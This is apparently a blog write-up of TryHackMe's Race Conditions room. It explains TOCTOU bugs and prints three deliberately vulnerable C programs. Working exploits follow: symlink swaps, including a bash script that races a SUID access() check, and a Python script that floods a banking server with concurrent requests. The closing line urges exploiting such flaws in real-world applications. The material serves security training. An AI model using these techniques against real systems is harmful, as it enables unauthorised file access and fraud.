# TryHackMe Race Conditions Challenge—Writeup

Hello everyone! In this writeup, I’ll walk you through, step by step, how I tackled the **Race Condition Challenge** on TryHackMe. I’ll explain not only the approach I took to solve it but also break down what a **race condition** is, why it happens, and how it can be exploited. I’ll share the tools, techniques, and thought process I used, so whether you’re new to CTFs or just curious about this type of vulnerability, you’ll get a clear understanding of the challenge from start to finish. Let’s dive in!

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FcgZmZadplMCQ4ZckFobv%2F221983.gif?alt=media&#x26;token=da089402-32a0-41d1-9cdf-9846ad35a465" alt=""><figcaption></figcaption></figure>

#### What is Race Condition?

A **race condition** is a type of vulnerability that happens when two or more operations are executed at the same time, and the program does not properly control the order in which they run. Because of this, the final result depends on which operation finishes first, creating an opportunity for unexpected behavior.

This usually occurs in programs that handle multiple requests simultaneously, such as web servers, banking systems, or authentication processes. If the developer does not properly synchronize these operations, an attacker may be able to interfere with the normal flow of the program.

#### Why Race Conditions Happen

Race conditions happen because modern applications often process multiple tasks at the same time using **threads, processes, or concurrent requests**. This is done to make programs faster and more efficient, but if shared resources are not protected correctly, problems can occur.

For example, a program may:

* Check if a user has permission
* Then perform an action based on that check

If an attacker sends multiple requests at the same time, they may be able to make the action execute before the check is fully completed.\
This happens because the program was not designed to handle simultaneous execution safely.

Common causes of race conditions include:

* Lack of proper locking mechanisms
* Poor synchronization between threads
* Time gap between checking and using a resource (TOCTOU – Time Of Check to Time Of Use)

#### How Race Conditions Can Be Exploited

Attackers exploit race conditions by sending many requests at the same time to force the program into an inconsistent state. The goal is to make the program behave in a way the developer did not intend.

For example, in CTF challenges, race conditions are often used to:

* Bypass authentication
* Read restricted files
* Duplicate rewards or credits
* Access data before permissions are applied

A common exploitation technique is:

1. Find a function that checks something before doing an action
2. Send multiple requests very quickly (using scripts or threads)
3. Try to make the action run before the check finishes

By overwhelming the target with simultaneous requests, the attacker increases the chance of winning the “race”, which leads to successful exploitation.

#### Actual Challenge

For this challenge, we first connect to the target machine via SSH. After gaining access, we can see that there are three user directories inside the `/home` folder: **walk**, **run**, and **sprint**.

#### Walk

For walk user, we have an executable file called `anti_flag_reader`  and it's source code `anti_flag_reader.c`&#x20;

let's run the binary first:

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FiCfxrIiV8jP5yu4NAp7T%2FScreenshot%20(1557).png?alt=media&#x26;token=78c34e48-84b6-4985-9b74-f47fe90df62c" alt=""><figcaption></figcaption></figure>

We have a clear hint here, symlink? Hmm, let's check the source code:

```c
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>
#include <sys/stat.h>

int main(int argc, char **argv, char **envp) {

    int n;
    char buf[1024];
    struct stat lstat_buf;

    if (argc != 2) {
        puts("Usage: anti_flag_reader <FILE>");
        return 1;
    }
    
    puts("Checking if 'flag' is in the provided file path...");
    int path_check = strstr(argv[1], "flag");
    puts("Checking if the file is a symlink...");
    lstat(argv[1], &lstat_buf);
    int symlink_check = (S_ISLNK(lstat_buf.st_mode));
    puts("<Press Enter to continue>");
    getchar();
    
    if (path_check || symlink_check) {
        puts("Nice try, but I refuse to give you the flag!");
        return 1;
    } else {
        puts("This file can't possibly be the flag. I'll print it out for you:\n");
        int fd = open(argv[1], 0);
        assert(fd >= 0 && "Failed to open the file");
        while((n = read(fd, buf, 1024)) > 0 && write(1, buf, n) > 0);
    }
    
    return 0;
}
```

Look closely, the program checks the file first and then uses it later, without making sure that the file has not changed in between. The program verifies that the provided path does not contain the word **"flag"** using `strstr()` and also checks that the file is not a symbolic link using `lstat()`. After performing these checks, the program pauses at `getchar()`, waiting for the user to press Enter before continuing. This pause creates a gap between the **time of check** and the **time of use**, which is a classic **TOCTOU (Time Of Check to Time Of Use) race condition**. Because the file is checked first and opened later, an attacker has an opportunity to change the file after the checks have already passed.

This vulnerability can be exploited by giving the program a safe file at first so that it passes the validation, then replacing that file with a symbolic link pointing to the real flag while the program is waiting for input. When Enter is pressed, the program calls `open()` on the same filename, but it does not re‑check if the file has changed. As a result, the program ends up opening the new file instead of the one it originally verified, allowing the attacker to read the flag. This happens because the program assumes the file remains the same after the check, which is not guaranteed in concurrent or user‑controlled environments, making it vulnerable to a race condition attack.

The **key to exploiting the race condition is the use of symlinks**, but the real vulnerability is not the symlink itself — it is the **time gap between the check and the open()**, and the symlink is just the easiest way to take advantage of that gap.

The program checks the file using `lstat()` to make sure it is not a symbolic link, but this check happens **before** the `getchar()` pause. After the check passes, the program waits for input, and only after that it calls `open(argv[1], 0)`. Because of this delay, we can replace the original file with a symlink that points to the real flag file. When `open()` is executed, it follows the symlink and opens the flag, even though the earlier check said the file was safe. This is exactly why symlinks are useful here — they let us change what the filename points to without changing the filename itself.

First, we will run the program, and point it to our symlink

`../walk/anti_flag_reader file`

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FUWXACThG85pjCVXSBD1U%2FScreenshot%20(1558).png?alt=media&#x26;token=40c0a912-d2d3-4b06-9828-f0aa4fc40acb" alt=""><figcaption></figcaption></figure>

But, before we hit Enter, we will make a symlink and we will point it to the flag:

`ln -s ../walk/flag file`

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FJQE7Tj5NURjJV2N5zPQZ%2FScreenshot%20(1558).png?alt=media&#x26;token=71019f66-a1aa-4882-a2b7-5763ec853270" alt=""><figcaption></figcaption></figure>

After that, we can now hit Enter to another terminal and it will print the flag:

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FRdVYRv5ZXHeUWgWwFd54%2FScreenshot%20(1559).png?alt=media&#x26;token=29090fb1-97b7-4b4b-9a0b-7bc69301a211" alt=""><figcaption></figcaption></figure>

#### Run

For run user, we have an executable file called `cat2`  and it's source code `cat2.c`&#x20;

Let's run the binary file:

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FcrItHn3UeVFPpsDycIQk%2FScreenshot%20(1561).png?alt=media&#x26;token=28597516-0a2b-4694-92ba-0b1a377f0806" alt=""><figcaption></figcaption></figure>

Let's check the source code:

```c
#include <stdio.h>
#include <unistd.h>
#include <assert.h>

int main(int argc, char **argv, char **envp) {

    int fd;
    int n;
    int context; 
    char buf[1024];

    if (argc != 2) {
        puts("Usage: cat2 <FILE>");
        return 1;
    }

    puts("Welcome to cat2!");
    puts("This program is a side project I've been working on to be a more secure version of the popular cat command");
    puts("Unlike cat, the cat2 command performs additional checks on the user's security context");
    puts("This allows the command to be security compliant even if executed with SUID permissions!\n");
    puts("Checking the user's security context...");
    context = check_security_contex(argv[1]);
    puts("Context has been checked, proceeding!\n");

    if (context == 0) {
        puts("The user has access, outputting file...\n");
        fd = open(argv[1], 0);
        assert(fd >= 0 && "Failed to open the file");
        while((n = read(fd, buf, 1024)) > 0 && write(1, buf, n) > 0);
    } else {
        puts("[SECURITY BREACH] The user does not have access to this file!");
        puts("Terminating...");
        return 1;
    }
    
    return 0;
}

int check_security_contex(char *file_name) {

    int context_result;

    context_result = access(file_name, R_OK);
    usleep(500);

    return context_result;
}
```

The program `cat2` is designed to be a more secure version of the `cat` command. It claims to perform additional security checks before allowing the user to read a file, especially when the program is executed with **SUID permissions**. The security check happens inside the function `check_security_contex()`, where the program calls `access(file_name, R_OK)` to verify if the user has permission to read the file. If the check returns `0`, the program assumes the user is allowed to read the file and proceeds to open it using `open()`. However, this design introduces a **race condition vulnerability** because the program checks the file first and only opens it later, without making sure that the file has not changed in between.

The vulnerability exists because `check_security_contex()` performs the permission check using `access()`, then pauses for a short time using `usleep(500)`, and only after returning to `main()` does the program call `open(argv[1], 0)`. This creates a **Time Of Check to Time Of Use (TOCTOU)** race condition, where the file can be replaced after the permission check but before it is opened. An attacker can exploit this by first providing a file that they have permission to read so that `access()` returns success, then quickly replacing that file with a symlink pointing to the flag file during the delay. When `open()` is executed, it opens the new file instead of the one that was checked, allowing the attacker to bypass the security validation and read a restricted file.

To exploit this race condition, the goal is to take advantage of the gap between the security check using `access()` and the actual file opening using `open()`. Since the program first verifies if we have permission to read the file, we need to give it a file that we are allowed to access so that the check passes. However, before the program calls `open()`, we quickly replace that file with a **symbolic link** pointing to the real flag file. If the timing is correct, the program will open the new file instead of the one that was checked, allowing us to bypass the security restriction.

To automate this process, we can use a small bash script that runs the vulnerable program in the background, waits for a very short time, then replaces the file with a symlink to the flag. In the script, we first create a normal file using `touch file` so that the access check succeeds. Then we execute `/home/run/cat2 file` in the background and add a short delay using `usleep 200` to match the timing of the program. After that, we replace the file with a symbolic link using `ln -sf /home/run/flag file`, so when `open()` is called, it will follow the symlink and read the flag instead. Finally, we use `wait` to let the process finish and remove the temporary file.

```bash
#!/bin/bash 
touch file 
/home/run/./cat2 file & usleep 200 
ln -sf /home/run/flag file 
wait 
rm -f file
```

After that, we can change its permission:

`chmod +x exploit.sh`&#x20;

And run it:

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FpdwwNCVUmrkp80QKq72I%2FScreenshot%20(1563).png?alt=media&#x26;token=ded57313-17d9-4529-832e-bbb6ad18c628" alt=""><figcaption></figcaption></figure>

#### Sprint

For sprint user, we have an executable file called `bankingsystem`  and it's source code `bankingsystem.c`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FY8C6BymtqYPZhO7PXWmJ%2FScreenshot%20(1568).png?alt=media&#x26;token=4ef72453-fcf5-4a69-add4-20f4471f2496" alt=""><figcaption></figcaption></figure>

So it acts as a server, let's check the source code:

```c
#include <stdio.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <sys/sendfile.h>
#include <sys/stat.h>
#include <string.h>
#include <fcntl.h>

typedef struct {
    int sock;
    struct sockaddr address;
    int addr_len;
} connection_t;

int money;

void *run_thread(void *ptr) {

    long addr;
    char *buffer;
    int buffer_len = 1024;
    char balance[512];
    int balance_length;
    connection_t *conn;

    if (!ptr) pthread_exit(0);

    conn = (connection_t *)ptr;
    addr = (long)((struct sockaddr_in *) &conn->address)->sin_addr.s_addr;
    buffer = malloc(buffer_len + 1);
    buffer[buffer_len] = 0;
    
    read(conn->sock, buffer, buffer_len);
    
    if (strstr(buffer, "deposit")) {
        money += 10000;
    } else if (strstr(buffer, "withdraw")) {
        money -= 10000;
    } else if (strstr(buffer, "purchase flag")) {
        if (money >= 15000) {
            sendfile(conn->sock, open("/home/sprint/flag", O_RDONLY), 0, 128);
            money -= 15000;
        } else {
            write(conn->sock, "Sorry, you don't have enough money to purchase the flag\n", 56);
        }
    }

    balance_length = snprintf(balance, 1024, "Current balance: %d\n", money);
    write(conn->sock, balance, balance_length);
    
    usleep(1);
    money = 0;
    
    close(conn->sock);
    free(buffer);
    free(conn);
    
    pthread_exit(0);
}

int main(int argc, char **argv) {

    int sock = -1;
    int port = 1337;
    struct sockaddr_in address;
    connection_t *connection;
    pthread_t thread;

    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &(int){1}, sizeof(int));

    address.sin_family = AF_INET;
    address.sin_addr.s_addr = INADDR_ANY;
    address.sin_port = htons(port);

    if (bind(sock, (struct sockaddr *) &address, sizeof(struct sockaddr_in)) < 0) {
        fprintf(stderr, "Cannot bind to port %d\n", port);
        return -1;
    }
    
    if (listen(sock, 32) < 0) {
        fprintf(stderr, "Cannot listen on port %d\n", port);
        return -1;
    }

    fprintf(stdout, "Listening for connections on port %d...\n", port);
    fprintf(stdout, "Accepted commands: \"deposit\", \"withdraw\", \"purchase flag\"\n");

    while (1) {
        connection = (connection_t *) malloc(sizeof(connection_t));
        connection->sock = accept(sock, &connection->address, &connection->addr_len);
        if (connection->sock <= 0) {
            free(connection);
        } else {
            fprintf(stdout, "Connection received! Creating a new handler thread...\n");
            pthread_create(&thread, 0, run_thread, (void *) connection);
            pthread_detach(thread);
        }
    }
    
    return 0;
}
```

This is just a simple server that listens for incoming connections on port **1337**. For every connection received, it creates a new thread so that multiple clients can be handled at the same time. The server accepts three commands: **deposit**, **withdraw**, and **purchase flag**. When the client sends `deposit`, the server increases the global variable `money` by 10,000. When the client sends `withdraw`, the server decreases `money` by 10,000. If the client sends `purchase flag`, the server checks whether the value of `money` is at least 15,000. If the condition is satisfied, the server sends the contents of `/home/sprint/flag` using the `sendfile` function and deducts 15,000 from the balance. Otherwise, it returns a message saying that there are not enough funds.

Looking closely at the code, the variable `money` is defined as a **shared global variable**, which means all threads can read and modify it at the same time. Since the program creates a new thread for every connection and does not use any synchronization mechanism such as a mutex, multiple threads can update `money` concurrently. This makes the program vulnerable to a **race condition**, because different threads may read, modify, and write the value of `money` at the same time, leading to unexpected results.

In a normal situation, each session can only increase the balance by 10,000, which is not enough to buy the flag. However, if multiple threads execute the `deposit` command at the same time, they may all read the same value of `money`, update it separately, and write it back without awareness of the other threads. This can cause the balance to increase incorrectly. In the same way, if several threads run the `purchase flag` command simultaneously while the balance is high enough, they may all pass the balance check before the value is updated, allowing the flag to be sent even though the user should not have enough money.

Let's test it via `netcat`:

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F9s2zbWPLukGxIpZMLPLL%2FScreenshot%20(1570).png?alt=media&#x26;token=40f90ea2-59cd-41e2-9b8f-59e1ee0765c8" alt=""><figcaption></figcaption></figure>

My plan is to take advantage of the race condition by sending many requests to the server at the same time using threads. Since the server handles each connection in a separate thread and the variable `money` is shared globally without synchronization, we try to increase the balance and purchase the flag simultaneously before the value gets reset. The script continuously creates multiple threads that send the commands **deposit** and **purchase flag** at the same time, so that some threads increase the balance while another thread checks if the balance is high enough to buy the flag. Because these operations happen concurrently, the balance may temporarily reach the required amount, allowing the `purchase flag` condition to pass and the server to send the flag.

```python
import socket, threading

# Target server
HOST = "10.66.167.46"
PORT = 1337

# Global flag to stop when THM{} is found
stop = False

# Function that sends a command to the server
def hit(cmd):
    global stop

    # If flag already found, stop sending requests
    if stop:
        return

    try:
        # Connect to server
        s = socket.create_connection((HOST, PORT))

        # Send command (deposit / purchase flag)
        s.sendall(cmd.encode())

        # Receive response
        r = s.recv(1024).decode(errors="ignore")
        print(r)

        # Check if flag is in response
        if "THM{" in r:
            stop = True  # stop all threads

        s.close()
    except:
        pass

# Function that keeps sending requests concurrently
def spam():
    while not stop:
        # Send deposit request
        threading.Thread(
            target=hit,
            args=("deposit",)
        ).start()

        # Send purchase request
        threading.Thread(
            target=hit,
            args=("purchase flag",)
        ).start()

# Start attack
spam()
```

When we run it, this is the output:

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FdwdxA7t2QM3k3NS9fDlD%2FScreenshot%20(1574).png?alt=media&#x26;token=e84c00d6-cc31-4a92-ae34-638312d006ae" alt=""><figcaption></figcaption></figure>

And that’s it! We have successfully completed all three challenges on this machine.

That wraps up our journey through this machine! We explored three different challenges, each demonstrating a unique race condition vulnerability. From exploiting **TOCTOU issues** in file handling to leveraging **symlinks**, and finally manipulating a **shared global variable in a multithreaded server**, this machine gave us a great hands-on experience in understanding how timing and concurrency can be exploited in real-world scenarios.

Throughout the process, we saw how careful observation, timing, and automation with scripts or threads can turn seemingly small oversights into fully exploitable vulnerabilities. By connecting the dots between security checks, delays, and concurrent operations, we were able to bypass restrictions and successfully obtain all three flags.

Race conditions are subtle but powerful, and this machine is a perfect reminder that even small lapses in synchronization or validation can be critical. Keep practicing these concepts, and you’ll get better at spotting and exploiting these vulnerabilities in CTFs and real-world applications alike!
